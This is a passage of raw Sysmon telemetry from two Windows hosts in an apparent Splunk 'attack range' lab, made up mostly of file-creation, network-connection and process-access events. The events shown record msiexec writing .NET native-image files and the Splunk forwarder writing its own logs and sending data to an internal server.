14:42:26.136{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3B0EC69DDF9B92E51CAAC025F3883600,SHA256=B1D5133AEB38AD9DE32463066E298F38E5B80BC3DD494F062132090320B67D9F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.136{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\W50MXUJNJZ\System.Numerics.ni.dll.auxMD5=46C8A979AD3266DDEF725C7E593B0EC9,SHA256=44F41AE20DFD28ABE6EE0E04898C519AD9709FA50D948409B2ECD81BB20D3D37,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013441Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:26.444{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=096999534F810DE7269E18A3C747AD88,SHA256=6600BBB4E4215C5DBD2332E46FBFE777BFBB9655BCD2060E3E8399E6D5E1A2E5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.120{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\W50MXUJNJZ\System.Numerics.ni.dllMD5=63A9B260BCFCC94E75F0B012DE2B32EF,SHA256=3BFD410197EBDCE1914F9CA077D5B2BE75A664A54D5D9B05169694327EC86CE3,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.120{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\W1OTATR3BA\UIAutomationClient.ni.dll.auxMD5=49EEFA3688F97076A8DC47723F5C4845,SHA256=D64824E803DF08D47FB0EC670C5695F98C0B58A6537ECE77006412EB6785766A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.120{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\W1OTATR3BA\UIAutomationClient.ni.dllMD5=1C08FF101FAAAFADEFC6F118ADE6297B,SHA256=126D05D508BAC0D8FBCC8E6863A936B443B5A47E03A34F956F0514918A00D001,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.105{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\W0SJHH1P9V\System.Numerics.ni.dll.auxMD5=FC4A9B25E8155BEA4F2BAD2E9934B186,SHA256=E75825CDB00102013ED61BA8DC72868336265A7A43AFE27482A839A08E34DE0C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.105{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\W0SJHH1P9V\System.Numerics.ni.dllMD5=0302AAD9C6C6C01BDD78B04909FF39FC,SHA256=EF8E4770CE7024DDF0796A901E32C0D76F1ABD6508ECF24129A56EB18CC7C677,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.105{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\VX4BCJ2LB7\System.Xml.ni.dll.auxMD5=040DE208CE1EB5D0024CE936E00E3392,SHA256=33953292338BFB6EE2756974051377A824A6C6DA3BA533A3FBA6D86218957BEF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:26.089{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\VX4BCJ2LB7\System.Xml.ni.dllMD5=6644706835E5D443B9822C53AED1B87C,SHA256=14CFCA3962038FEEFF28F93571BDA791D9DAF2FB8E34C066E027DBEF1D07F5F7,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000013443Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:27.460{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C2FC49155EB54A8355DB5C8F82E4B75D,SHA256=F8A3C9EA46636990C0B051CDFB31F159115235128F51F16924A5F8A6B0CD506C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:27.949{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\XEFBNA36PH\System.Configuration.Install.ni.dll.auxMD5=5A370DF59B981781F12A7F3A37D66361,SHA256=110B34A25634C7C5EFD6242F5A78BB129C5DB3A8F7BCD745233898DF3B63153B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:27.949{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\XEFBNA36PH\System.Configuration.Install.ni.dllMD5=BB79E90A6CDC752EC6FA8D004D881F82,SHA256=094F1E63ED0E7041F3C57AADFEA670CE53997439B064C4C5802CE19434004860,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:27.917{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\XAOAEWYN6S\System.ni.dll.auxMD5=97D37AFB390992CE3C6F1D4E1112CAA5,SHA256=E9BE5584192A17CDF882242AB2C104E2A185B276E589F81AEC50663E4BA6F881,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:27.917{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\XAOAEWYN6S\System.ni.dllMD5=709A692740777021A1BC08A50B61C807,SHA256=AD85D06B3912A64986318D87202BDCAD748D6E68E3B693D37459EF9874889CCF,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:27.464{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\X6YBSYVLCJ\System.Web.ni.dll.auxMD5=F75844856EE6FABD9C2BF434525D8F9F,SHA256=1F40EEB68BE036B5E0B884535BE71578A36B57947ED17056394FEF8E5E411B4D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:27.464{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\X6YBSYVLCJ\System.Web.ni.dllMD5=42107A9680DD1F0C15ECA4BD0B4C3A45,SHA256=E865E3843039ED20DA42936DE4AE5A66B282101FC494E5676F6BAE458429D669,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:27.167{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=40BAD1EB8390663C4736CEFFE840B7D3,SHA256=F30984817A69B6FA3BCB5B40B270BDC22C6FF49AF5F6B69207F6F82143408A10,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:27.011{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\X2S77D7DWO\System.Drawing.ni.dll.auxMD5=8BA67D8C1268098CFBBA2A626FF8FC6D,SHA256=4739DF54BA9C20953325031131B36E067190CF704B808F6886195A3426F3E43F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:27.011{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\X2S77D7DWO\System.Drawing.ni.dllMD5=25C1B73B943AFAA7C8CC9475EEB22DBD,SHA256=5C5CB8277339CD69DC9C42FD25678D6752321C18797CAA37349203D499EB5610,IMPHASH=00000000000000000000000000000000truetrue 354300x800000000000000013442Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:25.431{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50092-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013444Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:28.475{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A56CCB7D20B186A52176ABC215B1F25E,SHA256=6EF498165176C77938D098502ED315A095100220446D1440EDB92911F66916C5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:28.761{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\YBIDL94MA4\System.Management.ni.dll.auxMD5=9E113C3F173739443B36B19DD5C6669B,SHA256=E6D1A62EA7C191912AA011D805E8000EE89FE7281E888EF7A398F4FBA9AC4182,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:28.761{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\YBIDL94MA4\System.Management.ni.dllMD5=545B093E8C7408982436090E8E13BA3C,SHA256=CFFD545D318D02B523B06E28AFD09A3649D013965B45986CFCAEE54A07AF0C1A,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:28.699{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\Y4IA8CF0NY\System.ServiceProcess.ni.dll.auxMD5=29E6A003183458CCF64AB3D7FD5E09A9,SHA256=60A7576757C609BEA9AC9B80C89C840C25628B230A49E43AE3297DC76FAF7D81,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:28.699{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\Y4IA8CF0NY\System.ServiceProcess.ni.dllMD5=04E405537AA94EDFF3323F0467D26778,SHA256=68136A857028E1F557F9FBB105346CC072FF372608AB0F448A7BA6AEE555D34F,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:28.699{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\XVFFVWAZ7P\System.Data.ni.dll.auxMD5=1048C0ED575A23FCAAD4A2A3D4AB051D,SHA256=4BF180857736CBED625371F3063FB75AFDCEA6BB064FB787B1CE79717F5B522C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:28.683{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\XVFFVWAZ7P\System.Data.ni.dllMD5=97B08C7C842385FA82BB242375C02597,SHA256=12EDACC3503A34EE8F82B27C2E63D46FEE7F5C01CC2D8838A5ECD39FC615074D,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:28.449{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\XGTN4JOG04\System.Configuration.Install.ni.dll.auxMD5=08DAC8470A6071A6F9D300CCECE11FDC,SHA256=F21F4F9BD5BEBE704971BBC058A01C007211FABC2BF86E2BDFF504394E89A5F4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:28.433{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\XGTN4JOG04\System.Configuration.Install.ni.dllMD5=6CEF29BBBE3A64E8EDA58C8614B58316,SHA256=D6B4C973DAA83DB08F6D1013643F3A287BE92A3DF7629A06421EA2370B126C58,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:28.433{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\XFM9ITHJMN\System.ni.dll.auxMD5=F974195E5ECE86B40F7C98CEAFF80650,SHA256=6FED5EE609434200BCCA2E954E4FF45678A458F016A429BD3AD7BE480AC33845,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:28.433{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\XFM9ITHJMN\System.ni.dllMD5=13DE7F98F0CB9EB352C90FC60D125E6B,SHA256=895BF50B6C923C70F9F96ED6117D4F5929607376E5F00531F7E0E9209D4A1028,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:28.199{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C6F836334047A7F86954E66C63B6C093,SHA256=C55FB1E107CDC9DE2CFF78D27FD23613A970CEA429062DD54CD69A6E732728FA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.542{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\ZZT9OSN8RI\System.Transactions.ni.dll.auxMD5=999D14BCEA16BC6927359881D4D39D58,SHA256=E951F9BEEAFE791DF0F3CB3AFE9BD07BDE358EE20E01DC5F2018DDDB466EEC96,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.542{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\ZZT9OSN8RI\System.Transactions.ni.dllMD5=069D6E12D3CAB923FD4E8AC75EE89BA1,SHA256=F4957C4BFCF882B16615546FCA8A910B09508E5520C62914203915BA51DC3DF1,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.527{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\ZXIE4TWQX1\System.Numerics.ni.dll.auxMD5=03FB751D7366F1FADBD9267BF1C0D693,SHA256=5F68B3516C69DF888F1ACC44B0A716CE8E63DB995BEC4E8DB170237BC10908AF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.527{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\ZXIE4TWQX1\System.Numerics.ni.dllMD5=282F0EF6FEB85C1AA8A4D5EAED7B0345,SHA256=9999B5F5E7F6A025582ABB469F2B898514033BC187344B9CA7E507DAE28CB542,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.527{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\ZXC84VB1B5\System.Transactions.ni.dll.auxMD5=799D1D6903AEF7B551CD4A4C6B265AA9,SHA256=EAE828D0DC70B8C0CADC0F2FB1EB4DAB7A5E36C371C4B8A27C807DE7C0974339,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.527{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\ZXC84VB1B5\System.Transactions.ni.dllMD5=8D18FAAB7987602078CF848438C95F88,SHA256=AB760B68DE4E3D55C85FBC48423AC7C47C8A8C34FC3964E0473DA960D0BC3C5D,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.511{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\ZWB27RLG8P\System.Management.ni.dll.auxMD5=DB8ADD4CB7AB7C2BECB6E5D2876DCD98,SHA256=C508A4E3185C74167CBFDFFFC0296BAE94CD0406996404244EA570FE5FD4FCDE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.511{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\ZWB27RLG8P\System.Management.ni.dllMD5=4840576F30CADC46214E01EEB1DDEB0F,SHA256=182B6C71998AA6298C694DEE7047C8D4E74228A3B112BE72EA26694380F7E86B,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.433{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\Z9ZNHXO485\System.Core.ni.dll.auxMD5=FF4E2C92B938268E23AEED9F7BC732F8,SHA256=19FC78637B8A3B2A736A0ADD2E08F35E595E8854D68B668FB03022BD4AAECBBB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.433{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\Z9ZNHXO485\System.Core.ni.dllMD5=95173A32BB22297C898788BECB82637B,SHA256=EA0063A4BEF0AD2C8C8BECBFF53222AF78D9E5C3199903A8CFCEA2E63BB78C24,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.402{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:27.522{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59193-false10.0.1.12-8000- 23542300x800000000000000038281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.214{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=30CC4007AFBC039D4B90454396ADEA20,SHA256=880579BD258D4E04DD48E96AD63D9501B48D87D9F759B99EAFD2F7C6D6384B3D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013445Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:29.491{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=40FAFC0CCAE1471CDEFD85A87F403262,SHA256=39587140FA7D65B1611BDC83D0BF022BDC1DD39C69BC7DF9AE749FA70A27E87A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.136{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\YW6H3N5KJN\System.Core.ni.dll.auxMD5=837ED7C37327AAC0A3D72346C92C1E33,SHA256=03CCB7D13D93251175DE2ABAAA91E995C4A2FD627167E2E150B73A0B68C288FC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:29.136{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\YW6H3N5KJN\System.Core.ni.dllMD5=FE8274D8E31521C1EE127F0B9A468B11,SHA256=5EC1AB20A6FC7C8B10B5915D6BFED9B96EF524DDE933816D521A21239C339D16,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:30.556{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:30.462{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=717EC30326A452D6039A5DCCE8D1ABF8,SHA256=0EE9C6CFAF7EB70D992561244F571079077DC6EAA21F217EC4D02E3210DF4836,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:30.447{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=B1C05D3A7B68C97C3D9BFF94440347E4,SHA256=C53BA5376280B43C09727F0F572F602FEC7E24142094B0C06CF829EBFC48DC42,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:30.231{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8269245FC19BB4EEF6FD1D45CBBB37F8,SHA256=1334CBBFEF7F59A7BED09B022B9F89EC02836DDA24E3967EC905B94752B677F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013446Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:30.496{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CDAC583E2059A2A6EA35A9F91F3D21A2,SHA256=598D3D2132BE082407CD8C8311D3530F06368AC93833AFFD3430D4C1C902FF25,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013461Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:31.684{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6ED7-613B-8604-00000000F101}3092C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013460Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 